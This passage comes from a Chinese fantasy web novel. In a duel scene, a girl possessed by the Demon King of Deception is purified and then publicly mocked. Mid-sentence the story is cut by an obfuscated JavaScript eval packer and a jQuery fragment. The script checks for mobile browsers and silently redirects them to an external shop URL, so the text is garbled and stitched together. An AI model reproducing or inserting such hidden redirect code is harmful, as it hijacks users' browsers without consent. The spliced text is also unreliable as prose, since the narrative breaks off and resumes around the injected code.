“康斯坦丁教授!”尤依一枪射向捆绑康斯坦丁的触手。子弹打在触手上,就像是陷进棉花,没有任何效果。
汹涌的血触手也冲向尤依。尤依赶紧飞起来,血触手死死咬住她,猛然张牙舞爪地扬起拉长,在尤依避之不及中,缠住她的手。
冰冷粘腻的血编上手腕时,像是无数条虫腿划过手腕细嫩的皮肤,疼痛难忍,「凛冬」从尤依手中脱落,落入满地血潭,瞬间被吞没。它消失的位置,血水咕咚咕咚地响。
所有人都急了,茫茫大雪落下,几乎瞬间就将看台上没有魔法能力的观众,冻成冰雕。
余下的人惊叫,恐惧,有人开始慌不择路。
佩拉惊恐地喊道:“尤依!”她握着黄铜魔杖,什么也不顾,打算冲进决斗台。
一切都发生在短短的几秒内。但忽然之间,巨大的创世十字裹着金色的耀眼炫目的光芒,以文森特为中心,向四周放大扩展。
创世十字的光辉所到之处,风雪被驱散,乌云被光芒刺破,冻成冰雕的观众挣脱冰层重新呼吸到空气,冰冷的空气变成温暖如春的温度。
文森特的目光平静没有波澜,眼眸深处却有暴涨的魔力,形成一种磅礴的、有如怀抱整个世界茫茫悲悯。
那些被他救下的人,在劫后余生中瘫软在座椅下。他们想,幸亏今天教皇冕下驾临到这里,否则,他们……
炫目的金光覆盖上决斗台时,那些粘稠的血触手就像是生活在地底的昆虫陡然见到阳光,本能地缩回身体。
尤依重新得到自由,她转身朝着梅蒙连开三枪。梅蒙的鱼线在文森特的魔力下瞬间碎成粉末,尤依的子弹直接打在梅蒙身上。
梅蒙身体晃了晃,她的眼神变得更加空洞却疯狂,她暴怒地吼道:“不要挡我的路,滚开,都滚开!”
文森特似是悲悯地望着这个小小的女孩,他叹了口气。
“你们去吧。”他对身后的两位带剑祭司说。
两位带剑祭司刹那飞向决斗台,像是两只优雅的飞鸟,带着圣光。
他们落到梅蒙的面前,拔出了剑,一剑携着圣洁的星光,斩落梅蒙头顶。
梅蒙哀叫一声,身体以一个人类不可能做出的扭曲姿势,机械性地弯折了三下,随后一道诡异的黑影从她的头顶升起,并脱离她的身体。
尤依喃喃:“这是……”黑影身上熟悉的冰冷气息,让她猜到一切。
果然是欺诈魔王!投影在梅蒙的身上,蛊惑着梅蒙使用出这威力强大的恐怖魔法。
文森特的声音出现在两位带剑祭司的脑海中:【净化它。】
【是,教皇冕下。】
两个带剑祭司念动咒文,他们的剑被附上金色的火焰。
随着他们再度挥剑,金色火焰燃烧上黑影,诡异的黑影被神圣的火舌撕裂吞噬。
雪霁天晴,梅蒙终于醒过来,她惊恐地望着目之所见的一切:持着净化之剑的带剑祭司,失望的康斯坦丁教授,狼狈的满场观众,愤怒恐惧的同学,主席台上全都站起来的大人物们。
所有的人,无论是谁,都在看着她。
所有的人都在用失望、怨恨、嫌恶、冰冷的眼神看着她。
梅蒙的记忆慢慢回笼,她想起都发生了什么。她不敢相信,不能接受,她的身体渐渐从轻微的颤抖变成剧烈的凌乱,她的眼神浸满了惊恐,她的呼吸渐渐窒息,像是吞下一颗接一颗的毛栗,她拼命地摇头。
“恶心的私生女!”
“看到她头顶被净化的黑影了吗?她被恶魔蛊惑了,使用恶魔的魔法。”
“为了战胜对手,将灵魂出卖给恶魔。”
“无耻下流的东西!”
梅蒙听到了滚滚而来的咒骂声,从这个世界的每个角落,铺天盖地地砸向她的身体。
怎么会这样?事情不应该是这样发展的,明明该是她击败尤依,明明该是她拿到考核对抗赛的第一名。
她成为欺诈魔王的信徒,拿到它赐予的力量,她应该披荆斩棘,为什么、为什么……
梅蒙惊恐地意识到什么。为什么,她刚刚会陷入那种如同傀儡般的状态,为什么使用的魔法是被唾弃的禁咒魔法。
欺诈魔王为什么要让她用出这样的魔法?!
“欺诈魔王,为什么要这样对我?!”梅蒙无法接受,她被愚弄了是不是?她的命运、她的尊严和她的名誉,都被愚弄了是不是?欺诈魔王是故意的是不是?
听到“欺诈魔王”,全场鸦雀无声。
这时那道被火焰光剑净化掉的黑影,竟又幽幽地显现出来。它高高的飘起,忽然,发出一阵似癫似疯的笑声。
它用温柔的语调,极尽冰冷嘲讽地说道:“梅蒙·鲁登道夫,我赐予你力量,你的对手在你的面前毫无还手之力,这不正是你想要的吗?为什么要责怪我呢?”
“不,不是的!我要赢得考核对抗赛的第一名,你答应我的!”梅蒙歇斯底里道,“你为什么要用禁咒魔法陷害我?!你明明答应要帮我夺得冠军的!”
“我说过这话吗?”飘悠悠的黑影叹息一声,遗憾地喃喃,“就当我说过好了,可是,愚蠢的人类,你怎么连魔王的话都信呢?”
“你、你!”
这时候尤依已经落下地来,捡起「凛冬」。缭绕在所有人头顶的这种熟悉的说话方式,熟悉的语调拐转,尤依听得脊背不断发冷,再一次的,因欺诈魔王而感到浑身鸡皮疙瘩都凝结成干涩的颗粒。
尤依不禁担心地望向主席台上的佩拉。
佩拉的恐惧已经完全掩盖不住了,尽管她曾在尤依的帮助下,破除心魔,可是,此时此刻,此情此景,那个已然身败名裂,被所有人当作邪魔和小丑的梅蒙,那个被欺诈魔王玩弄了的梅蒙,与那时的自己何曾相似?
都是孤注一掷地相信欺诈魔王,在“得偿所愿”的一刻欣喜若狂,接着才发现连自己原本所拥有的也被恶意地撕碎,最后形成一个彻底崩坏、自食其果的结局
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728711|142967||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
然后,忍无可忍地质问它时,欺诈魔王,还要杀人诛心。
这样的记忆折磨,催出佩拉光滑的额头渗出冷汗,她脸色发白地朝后退了一步,却被椅背挡住,身体失去平衡,向一侧倒下。
一只手握住她的手臂,才稳住她。
佩拉转眸,对上一双苍金色的眸子,“宰相大人……”
内维尔见她站稳,就松开她,不再理会。
莫名其妙的女人。
决斗台上,梅蒙几乎疯癫。整个世界的恶意,都仿佛在此刻集中到她身上。恶意像饿坏了的蚂蚁,啃咬她,蚕食她,她知道自己完蛋了。公然使用出禁咒魔法,让所有人都看到她和欺诈魔王做了交易,她的学业毁了,前程毁了,圣菲斯多半要开除她,这次就连疼爱她的父亲,说不定也会因为失望和愤怒而放弃她。她好不容易拥有的那么一点点东西都将全部化为泡影,妈妈也会因为她而……
“我不接受!”梅蒙发出穷途末路的悲哀吼声,“我不接受,欺诈魔王。明明是你心疼我和妈妈遭受的一切不公待遇,你说了要帮我改变我们的命运,让我们拿回本就该是属于我们的合法身份!”
欺诈魔王沉吟了一下,冰冷呢喃:“是吗?”
“不公的待遇?合法身份?”
“还真是大言不惭!”突然加重的声音,像是落下的响雷声。梅蒙呆住。
欺诈魔王仿佛动怒了,听不出的冷笑还是质问:“你母亲插足有妇之夫的婚姻,打着真爱的旗帜生下你,不仅要依附你父亲过上上流生活,还想赶走原配。”
“恬不知耻的情妇想上位男爵夫人,贪婪的私生女想做千金小姐,却无奈原配出身大贵族,将你们压制得死死的。梅蒙·鲁登道夫,你很委屈是吗?”
真相被这样不留情面地当着无数人的面说出来,梅蒙手脚冰凉,无措地辩解:“那个女人就是一副恶毒的心肠,她竟要将我嫁给一个又老又丑的落魄贵族当继室!还有,我妈妈不是什么恬不知耻的情妇,她是我爸爸的真爱,她只是没有早一点遇到我爸爸,她才该是我爸爸的合法妻子!”
“真爱就能理直气壮当第三者?真爱的孩子就能理直气壮挤掉妻子的孩子?要嫁给糟糕的对象,不都是你们母女种下的因在先,才结出这样的果实吗?你父亲也不是什么好东西,当然这就是另外的事了,欺诈他也一定很有意思。”
“你什么都不懂!你是高高在上的魔王。你不懂我妈妈这种低微的平民,纺织厂的女工,从出生起就只能生活在条件极差的棚户街区。她进厂维持生计,每天睡不到六小时,像她这样的女工大多活不过五年,而她们的孩子又要重复她们的人生轨迹。我妈妈想逃脱这种命运有什么不对?我爸爸真心爱她,她和我爸爸在一起有什么不对?”
欺诈魔王冷冷掷出一句:“人心不足蛇吞象。谋求到好生活,就又贪图合法妻子的位置。”
“可惜呢,此刻,你们拼尽全力想抓住的一切,全都没了。”